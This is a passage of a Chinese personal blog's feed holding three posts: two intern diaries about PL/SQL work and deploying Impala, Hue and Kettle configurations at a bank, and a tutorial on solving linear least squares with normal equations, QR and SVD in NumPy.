<content type="html"><![CDATA[<p>这周是在PSBC实习的第三周。上一周因为周末与 @BoilerYao 强者去玩耍了,没有记下来。这一周打算连上一次一起补上。</p><span id="more"></span><h1 id="第二周"><a href="#第二周" class="headerlink" title="第二周"></a>第二周</h1><h2 id="周一"><a href="#周一" class="headerlink" title="周一"></a>周一</h2><p>周一主要还是在继续第一周的配置环境。安装impala,感觉就是我本身对集群的配置就完全不清楚,让我在不清楚配置的集群上安装服务简直是有点强人所难。</p><p>安装impala我在当天中午就没有继续了。不过这是一个玄妙的大坑,在下面我会再提到它。</p><p>在下午章主管先是私下与我沟通,之后开会分配了任务。我将负责一个根据数据分析公司风险的项目。(当然我认为在我实习期间恐怕只能做出来开头)</p><h2 id="周二至周四"><a href="#周二至周四" class="headerlink" title="周二至周四"></a>周二至周四</h2><p>这段时间去尝试做章主管分配的任务。说实话以我对PLSQL语法的程度,估计写一个基本的查询都费劲。这后面的时间我一直都可以被认为在熟悉PLSQL怎么写。主要是我对于如何存储中间的变量存在疑惑。</p><p>这是一个大问题。因为面对的是大量的数据,有可能内存也放不下中间的存储结果。潘哥给出的答案是使用中间数据表,这样用物理存储代替内存被消耗,只是效率会比较低,然而对于仅仅做数据分析来说,这样是完全足够的。其实还有一种解决方案是通过cursor和pipeline function来小部分地去取用数据,但是恐怕写起来就有点费劲了。</p><p>曾姐安排的任务就是熟悉数据,其实我是非常感激这样的用意的。因为我对公司整体的业务流程和现在表中数据的情况意义一无所知。有这么几天一脸懵逼的时间才知道遇到的难题是什么,除了数据量大之外,大概就是数据的质量问题了。比如数据文档中非空的字段会有空值,比如数据中会出现在规定值以外的值,比如完全意义不明的拼音缩写列。</p><h2 id="PLSQL总结"><a href="#PLSQL总结" class="headerlink" title="PLSQL总结"></a>PLSQL总结</h2><p>怎么说,PLSQL算是学到了不少,发现PLSQL有些地方还是能说得过去的:</p><ul><li>能用RE</li><li>完备的时间相关的类型和函数</li><li>方便的<code>rank() over()</code>语法</li><li>隐式游标的写法</li></ul><h2 id="周五"><a href="#周五" class="headerlink" title="周五"></a>周五</h2><p>周五大概觉得自己恐怕毫无希望完全掌握PLSQL语句,于是开始打算走一点歪门邪道。</p><p>最初是打算直接自己写一个访问数据库的界面来作为最终的成品,从而能有一些处理语句可以不必在PLSQL中实现。但是被告知此阶段最终的成品应该是一个可供其他人使用的表,而且代码形式应该是以存储过程的方式出现之后打消了念头。</p><p>于是又打算通过ORM的库比如<code>SQLAlchemy</code>来输出SQL语句。因为我恐怕对这种形式的SQL可能更好理解,也能避免出现一些诡异的语法问题。不过最后还是没有完全实现。</p><h1 id="第三周"><a href="#第三周" class="headerlink" title="第三周"></a>第三周</h1><h2 id="周一-1"><a href="#周一-1" class="headerlink" title="周一"></a>周一</h2><p>这一天开始写一个求平均值的PLSQL语句。数据的存储方式是记录变更点。</p><p>这对于使用其它语言来说,不算是艰巨的任务。但是对于我并不熟悉的PLSQL,大概就比较伤神了。前前后后各种修修补补,花了一天总算搓出来了。</p><p>嗯,然后第二天被告知这个平均值是有表的,直接从表中取就行了哦。(掀桌子)</p><h2 id="周二至周五"><a href="#周二至周五" class="headerlink" title="周二至周五"></a>周二至周五</h2><p>之前部署的impala的同事再次让我帮忙,而我又基本没思路写PLSQL了,于是打算先开始帮着部署这个服务。怎么说呢,这是一个遗留的问题。</p><p>最初搭建这个集群的人据说是一位中科院的大佬。然而怎么说,有一些遗留的问题,而且最初也没找到留下的文档。总的来说都是一些版本相关的问题,最初我真的完全不知道原有的版本是什么,直到后来才慢慢意识到。</p><ol><li><p>首先是yum源中没有impala包文件的问题。</p><p> 从外网中下载相应的impala包文件,然后回来用<code>createrepo</code>指令更新源信息,从网上下载的。这时还出现了由于zlib版本不一致导致的yum失去响应的问题,通过统一软连接解决。</p></li><li><p>ssh免密登录的问题</p><p> 写了一个脚本来完成。其中利器是<code>expect</code>命令。</p></li><li><p>ambari-impala-service 的 JAVA_HOME 问题</p><p> 我们在ambari中安装impala服务所使用的是<a href="https://github.com/cas-bigdatalab/ambari-impala-service">中科院出品的这个服务</a>,说实话是很好用,只是有几个小问题,然而就被几个小问题给卡住了。</p><p> 首先可能是因为写这个文件的时候设计是JDK配置在<code>/usr/jdk64/</code>这个文件夹下,但是在这个集群中并不是如此,所以每一次安装都需要在<code>/etc/default/bigtop-utils</code>中重写JAVA_HOME变量。</p></li><li><p>链接hbase相关的jar包的问题</p><p> impala需要hbase的jar包作为支持,但是在上面提到的<code>ambari-impala-service</code>的安装脚本(<code>package/template/init_lib.sh.j2</code>)中链接了其它的jar包却没有链接HBase相关的jar包。所以还需要手动地链接HBase的库。(我想是因为在这种服务中没法确定HBase的jar包的位置)</p></li><li><p>impala版本的问题</p><p> 最初下的是<code>cdh-5.15.0</code>的impala的rpm包。(因为上面<code>ambari-impala-service</code>没有指定cdh5的版本,所以下了最新的)</p><p> 然后impala莫名其妙崩溃了,报错显示 <code>core dumped failed</code>,要更改上面<code>ambari-impala-servce</code>中启动选项(<code>package/template/impala.j2</code>)中的<code>ENABLE_CORE_DUMPS</code>为true以显示报错信息。</p><p> 报错信息是某个<code>impala-2.12-cdh5.15.0</code>的issue(但是我没记住),总之在那之后就决定重新换到<code>impala-2.6.0-cdh5.8.0</code>。于是再次下载包文件,用<code>createrepo</code>更新不提。</p></li><li><p>删除ambari服务的问题</p><p> 要删除某一个ambari服务需要首先暂停所有服务,然后通过DELETE方式向某个API(<code>/api/v1/clusters/<cluster-name>/services/<service-name></code>)发出请求。</p><p> 但是这样删除并非完整,只是在ambari中删除了这个服务,但是实际上rpm包仍旧没有被删除。在之后的两天一直被没有完全卸载的impala版本之间折磨着。直到发现,啊,原来还是需要手动删除rpm包的。方才完全用上了新的impala。</p></li><li><p>jar包版本的问题。</p><p> 这是一个在文档中说明了的问题,需要下载特定版本(也即<code>cdh-5.8.0</code>的)Hbase的jar包,重新连接。</p></li></ol><p>当然在这几天还是写了一些为了快速配置而使用的脚本的,不过用时实在说不上长,所以就不提了。</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>主要是要了解一下业务流程,知道数据从何处去取。然后考虑的是一个数据清洗的问题。对于PLSQL,实在太不熟悉,还需要重新看看它的语法。</p>]]></content>
<summary type="html"><p>这周是在PSBC实习的第三周。上一周因为周末与 @BoilerYao 强者去玩耍了,没有记下来。这一周打算连上一次一起补上。</p></summary>
<category term="扯淡" scheme="http://blog.ciaran.cn/categories/%E6%89%AF%E6%B7%A1/"/>
<category term="闲谈" scheme="http://blog.ciaran.cn/tags/%E9%97%B2%E8%B0%88/"/>
<category term="大数据" scheme="http://blog.ciaran.cn/tags/%E5%A4%A7%E6%95%B0%E6%8D%AE/"/>
</entry>
<entry>
<title>线性最小二乘(上)</title>
<link href="http://blog.ciaran.cn/2018/08/04/%E7%BA%BF%E6%80%A7%E6%9C%80%E5%B0%8F%E4%BA%8C%E4%B9%98%EF%BC%88%E4%B8%8A%EF%BC%89/"/>
<id>http://blog.ciaran.cn/2018/08/04/%E7%BA%BF%E6%80%A7%E6%9C%80%E5%B0%8F%E4%BA%8C%E4%B9%98%EF%BC%88%E4%B8%8A%EF%BC%89/</id>
<published>2018-08-04T09:36:42.000Z</published>
<updated>2024-01-16T06:38:43.164Z</updated>
<content type="html"><![CDATA[<p>介绍一下如何求解最小二乘法问题。</p><span id="more"></span><h1 id="线性最小二乘"><a href="#线性最小二乘" class="headerlink" title="线性最小二乘"></a>线性最小二乘</h1><p>介绍一下如何求解最小二乘法问题。于是查看了一下Numpy中是如何求解最小二乘法问题的,也即<code>numpy.polyfit</code>函数的代码,一路追下来之后,发现最终使用了LAPACK的ZGELSD方法。它们之间的调用顺序如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">numpy.polyfit -> numpy.lstsq -> numpy.linalg.lapack_lite.zgelsd</span><br></pre></td></tr></table></figure><p>而实际上,在LAPACK中,存在四种求取实数最小二乘法的方式:</p><ul><li>使用 QR分解 或 LR分解 : <code>ZGELS</code></li><li>使用 完全正交分解 : <code>ZGELSY</code></li><li>使用 SVD : <code>ZGELSS</code> </li><li>使用 分治SVD : <code>ZGELSD</code></li></ul><h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>首先让我们来简单描述一下问题。我们需要解的是这样一个方程:</p><p>$$<br>Ax = b<br>$$</p><p>在这个式子中,我们可以认为$A$是一个$m\times n$的矩阵,$x$是一个$n\times 1$的矩阵,那么$b$就是一个 $m\times 1$的矩阵了。</p><p>我们期望根据给出的一组A和b,求出相应的x。</p><ul><li>对于$m = n$的情况。方程有唯一的解,也就是 $x = inv(A) * b$。(要求A非奇异)</li><li>对于$m > n$的情况。称为超定问题。此时不存在解。</li><li>对于$m < n$的情况,称为负定问题</li></ul><p>我们现在所要面临的就是一个超定问题,由于原方程可以理解为用A的列向量来线性地表示b,而对于超定问题,b根本不在A的列向量张成的线性空间中,则这个方程根本没有办法获得精确解,在这时我们就需要求得最小二乘解,也即求使得误差$ J = \sum_{i=1}^N{(Ax_i - b)^2} $ 最小的$x$。因为2-范数$ |x|<em>2 = \sqrt{\sum</em>{i=1}^N{x_i^2} }$,所以我们的求解目标常常写作:</p><p>$$<br>min_x|Ax-b|_2^2<br>$$</p><p>其实也就是解上面这个式子,得到的结果称为最小二乘解。</p><p>最主要的问题就在于解决不同维度矩阵相乘除的问题。</p><h2 id="基本解法"><a href="#基本解法" class="headerlink" title="基本解法"></a>基本解法</h2><p>最初的想法肯定是左右同时乘除一个矩阵使得某一边成为方阵可以进行求逆处理:</p><p>$$<br>A^HAx = A^Hb \<br>x = inv(A^HA)*A^Hb<br>$$</p><p>我们可以照着这个用Python写一下代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line">A = np.mat(<span class="string">"[1,1; 2,0; 0,2]"</span>)</span><br><span class="line">x = np.mat(<span class="string">"[2;3]"</span>)</span><br><span class="line">b = A*x</span><br><span class="line"></span><br><span class="line">xp = (A.transpose() * A).I * A.transpose() * b</span><br><span class="line"><span class="built_in">print</span>(xp - x)</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[[5 1]</span><br><span class="line"> [1 5]]</span><br><span class="line">[[4.4408921e-16]</span><br><span class="line"> [0.0000000e+00]]</span><br></pre></td></tr></table></figure><p>上面代码的结果应该是两个小于1e-15的数字,这样说明在这个程序中我们的结果还算比较好。</p><p>但是这种直接通过$A^HA$的方式求解问题的解法有很大的不稳定性。(我们可以随便换换A和x,就能看到结果的波动了)</p><h2 id="ZGELS"><a href="#ZGELS" class="headerlink" title="ZGELS"></a>ZGELS</h2><p>这个方法是指使用QR分解求最小二乘解。</p><p>对上面问题中的A进行QR分解:</p><p>$$<br>A = QR<br>$$</p><p>其中Q是一个半正定矩阵,满足 $ Q^HQ = I $,其大小应为 $m\times n$。R是一个 $n \times n$ 的上三角矩阵所以我们可以把原本的式子写成这样:</p><p>$$<br>Q^H A x = R x = Q^Hb<br>$$</p><p>然后: </p><p>$$<br>x = inv(R) * Q^H *b<br>$$</p><p>简单的Python代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">q, r = np.linalg.qr(A)</span><br><span class="line"><span class="built_in">print</span>(r.I * q.T *b - x) </span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[[-4.4408921e-16]</span><br><span class="line"> [-4.4408921e-16]]</span><br></pre></td></tr></table></figure><h2 id="ZGELSS"><a href="#ZGELSS" class="headerlink" title="ZGELSS"></a>ZGELSS</h2><p>所谓SVD指下面这种分解,将矩阵分成:</p><p>$$<br>A = U \Sigma V^H<br>$$</p><p>其中$ U, V $分别是$m \times m,n \times n$ 的酉矩阵, 而$ \Sigma $是$m\times n$的除了对角线元素外全为0的矩阵。</p><p>为了简便起见我们把矩阵表示为:</p><p>$$<br>\Sigma = \left[\begin{matrix} S \ 0 \end{matrix} \right] \<br>U = \left[ \begin{matrix} U_1, U_2 \end{matrix} \right]<br>$$</p><p>其中S为 $n \times n$的对角矩阵, $U_1$为 $m\times n$ 的矩阵,$U_2$ 为 $ m \times (m-n)$的矩阵。</p><p>如此我们可以列出这样的式子:</p><p>$$<br>\begin{aligned}<br>J &= |Ax - b|_2^2 = \left|U \left[\begin{matrix} S \ 0 \end{matrix} \right] V^Hx - b \right|_2^2 \<br>&= \left|\left[\begin{matrix} S \ 0 \end{matrix} \right] V^Hx - U^H b \right|_2^2 \<br>&= \left|\left[\begin{matrix} SV^Hx \ 0 \end{matrix} \right] - \left[\begin{matrix} U_1^Hb \ U_2^Hb \end{matrix} \right] \right |_2^2 \<br>&= \left|\left[\begin{matrix} SV^Hx - U_1^Hb \ -U_2^Hb \end{matrix} \right] \right |_2^2 \<br>&= \left|SV^Hx - U_1^Hb\right|_2^2 + \left| -U_2^Hb\right|_2^2 \ge \left| U_2^Hb\right|_2^2<br>\end{aligned}<br>$$</p><p>因为2-范数大于等于0,由上式可以得到误差$J$最小只能为$ \left| U_2^Hb\right|_2^2 $,且仅在:$ \left|SV^Hx - U_1^Hb\right|_2^2 = 0$,也即$ SV^Hx = U_1^Hb$ 时成立。</p><p>可以根据上面求出$x$为:</p><p>$$<br>x = \left(SV^H\right)^{-1}U_1^Hb<br>$$</p><blockquote><p>这篇博客的<code>MathJax</code>花了我比较多时间来Debug…最后发现少写了一个下划线</p></blockquote>]]></content>
<summary type="html"><p>介绍一下如何求解最小二乘法问题。</p></summary>
<category term="数学" scheme="http://blog.ciaran.cn/categories/%E6%95%B0%E5%AD%A6/"/>
<category term="数值计算" scheme="http://blog.ciaran.cn/tags/%E6%95%B0%E5%80%BC%E8%AE%A1%E7%AE%97/"/>
</entry>
<entry>
<title>PSBC的一周1</title>
<link href="http://blog.ciaran.cn/2018/08/03/PSBC%E7%9A%84%E4%B8%80%E5%91%A81/"/>
<id>http://blog.ciaran.cn/2018/08/03/PSBC%E7%9A%84%E4%B8%80%E5%91%A81/</id>
<published>2018-08-03T14:47:54.000Z</published>
<updated>2024-01-16T06:38:43.102Z</updated>
<content type="html"><![CDATA[<p>这种性质的博客就类似于<a href="http://blog.ciaran.cn/2017/10/31/sister_dialog1/">姐姐的启示录</a>,算是只是一种记录性质的东西了。</p><h2 id="周一"><a href="#周一" class="headerlink" title="周一"></a>周一</h2><p>下午前去报到,大约只是熟悉了一下环境。由潘哥首先带我。潘哥给介绍了组内的基本情况。然后首先是让我尝试安装<code>Oracle Linux</code>,基本上是等待虚拟机接近一个小时的读条,也是借机再翻了一下关于Oracle的概念,在此前是被潘哥问的PLSQL的关键字和函数一脸懵逼。所以赶紧临时查了查。</p><h2 id="周二"><a href="#周二" class="headerlink" title="周二"></a>周二</h2><p>上午潘哥交给我一个SQL脚本,大致是一个求坐席数量估计。通过这个脚本了解到大致的数据分析问题的模型。首先是将所有所需的数据都抽取出来,然后再在一个表内进行查询。</p><p>其实这里关于数据的临时存储我觉得有些疑惑,潘哥所使用的方式是不断新建表格然后delete,这样的花销应该会比直接使用PLSQL变量会更大。问过之后也说是习惯的问题。(大概分析的话,性能不是非常重要?)</p><h3 id="一个关于UPDATE的问题"><a href="#一个关于UPDATE的问题" class="headerlink" title="一个关于UPDATE的问题"></a>一个关于UPDATE的问题</h3><p>之后还被出了一个关于UPDATE的问题作为思考。大致整理一下问题是这样的:</p><blockquote><p>如何令如果表A和表B的 condA和 condB 列相等时,令表A的数据列 colA 更新为表B的数据列 colB?</p></blockquote><p>最初写的update语句是这样的:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">update</span> A <span class="keyword">set</span> A.colA <span class="operator">=</span> (<span class="keyword">select</span> colB <span class="keyword">from</span> B <span class="keyword">where</span> A.condA <span class="operator">=</span><span class="operator">=</span> B.condB);</span><br></pre></td></tr></table></figure><p>但是这样是错误的,因为这个语句的作用范围是对A中的所有记录都实现了的。所以对于没有匹配上<code>A.condA == B.condB</code>的语句。此时<code>select colB from B where A.condA == B.condB</code>的结果是<code>NULL</code>,而我们就直接地赋给了<code>A.colA</code>。这会使得原本有数据但是未匹配上的colA的数据的丢失。所以正确的SQL语句应该是</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">update</span> A </span><br><span class="line"><span class="keyword">set</span> A.colA <span class="operator">=</span> (<span class="keyword">select</span> colB <span class="keyword">from</span> B <span class="keyword">where</span> A.condA <span class="operator">=</span><span class="operator">=</span> B.condB) </span><br><span class="line"><span class="keyword">where</span> <span class="keyword">exists</span> (<span class="keyword">select</span> colB <span class="keyword">from</span> B <span class="keyword">where</span> A.condA <span class="operator">=</span><span class="operator">=</span> B.condB);</span><br></pre></td></tr></table></figure><h2 id="周三"><a href="#周三" class="headerlink" title="周三"></a>周三</h2><p>周二下午被安排了一个任务是修改kettle的作业配置文件。原本做法是要在kettle的GUI界面里进行鼠标点击的配置,然后总共需要配2k多张表结构的文件。我感到非常绝望,于是决定写个脚本进行自动化。之后大概是花了一天的时间,堪堪达成目的。其中遇到了一些问题。</p><p>首先是解析xml文件。kettle的配置文件都是xml格式的。最初是直接使用python的xml库,但是对于其中的三种解析方式我都不是非常熟悉,之后就换用了<code>BeautifulSoup</code>。在这里又遇到了不知道如何将文本转换为<code>Tag</code>对象的尴尬,幸而效率不是非常重要,因而直接使用<code>BeautifulSoup</code>再解析一遍字串然后<code>append</code>进去就好。</p><p>之后是SQL文件的解析问题,因为只给了一个表名,而我必须从SQL文件中找出这个表的定义。我最初想到的就是<code>sqlparse</code>直接解析整个sql文件。但是我发现这样的时间花销也太长了,所以我决定还是通过正则式对文件进行格式化之后,直接按特定格式读文件。</p><p>然后是一个坑:也就是XML当中的空白字符其实是有意义的。我最初使用了<code>BeautifulSoup.pretiffy</code>方法,使生成的xml进行了格式化,最后所有<code>textnode</code>的名称都没有对应上。但是就因为下面遇到的问题,让我一直没有发现。</p><p>另外实际上kettle的XML当中的特殊字符编码也是一个很大的问题。因为要避免SQL语句中出现<code><</code>符号干扰xml的语法,所以在kettle中直接就将所有的非英文字符变成了 <code>HTML Entity</code> 的NCR编码。中文字符的出现不会对kettle解析xml造成影响;而使用<code>BeautifulSoup</code>解析之后XML中的NCR编码直接又变成了中文字符。最后是重新写了一个脚本用正则剔掉了所有中文换成NCR,当然这个脚本最后没有用上就是了。</p><p>(现在回头想想这种程序也能用掉一天也是很惭愧。</p><h2 id="周四-周五"><a href="#周四-周五" class="headerlink" title="周四 & 周五"></a>周四 & 周五</h2><p>这两天的效率十分低下,因为在配置环境;而且居然要两个人同用一台电脑就很痛苦。</p><p>首先是安装hue,讲道理是异常简单的一个工作,但是因为是两个人使用同一个而且我根本不熟悉各个主机上的配置,花了大概一天。</p><p>只有一个坑,需要额外改Hadoop的配置使得hue能访问到hdfs中的文件。然而由于hue与Hadoop之间的整合做的不是很好,hue没法及时获取Hadoop的改动,所以改了配置之后Hdfs的NameNode还需要重启一下。</p><p>之后再装Impala。最初的方式是通过Ambari的web界面进行安装,然后就发现了巨坑。这个Ambari之前的yum源没有配好原来,而且缺了一大堆包;无奈企业内网不能直接从网上进行同步,只好从外网下好包文件再用U盘拷到内网并配置源。这个过程需要更新原有的repo数据,也即在源中的<code>repodata/repomd.xml</code>文件,使用<code>createrepo</code>命令就能做到这一点。</p><p>不过总之这两天倒是查了不少资料,对于一些基本的概念也算有所了解了,收获也不小。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>讲道理是有点失望。这一周里没有碰到什么核心的工作,数据分析建模的部分基本没有遇到。而且后两天工作中感觉有些敷衍,同事只要能跑起来就行的态度让我感觉会有一些隐患。</p><p>对于kettle的调度问题我不知道所使用的方式是什么,但是原生的调度恐怕花销就有点太大了。这是一个风险,但是好像没有怎么重视这个问题,也不知道是不是我没有接触到的原因。</p><p>大数据这个部分怎么说,感觉相当混乱…没有过程也没有组织。存在一些问题:</p><ul><li>有些情况不需要直接操作数据的,也在数据上进行直接的操作:会有效率和安全性的一系列问题。</li><li>没有非常明确的分工,导致职责的混乱。</li></ul>]]></content>
<summary type="html">这一周开始在PSBC的广东省分行实习,记录一下自己做了什么以及学到了什么。</summary>
<category term="扯淡" scheme="http://blog.ciaran.cn/categories/%E6%89%AF%E6%B7%A1/"/>
<category term="闲谈" scheme="http://blog.ciaran.cn/tags/%E9%97%B2%E8%B0%88/"/>
</entry>
</feed>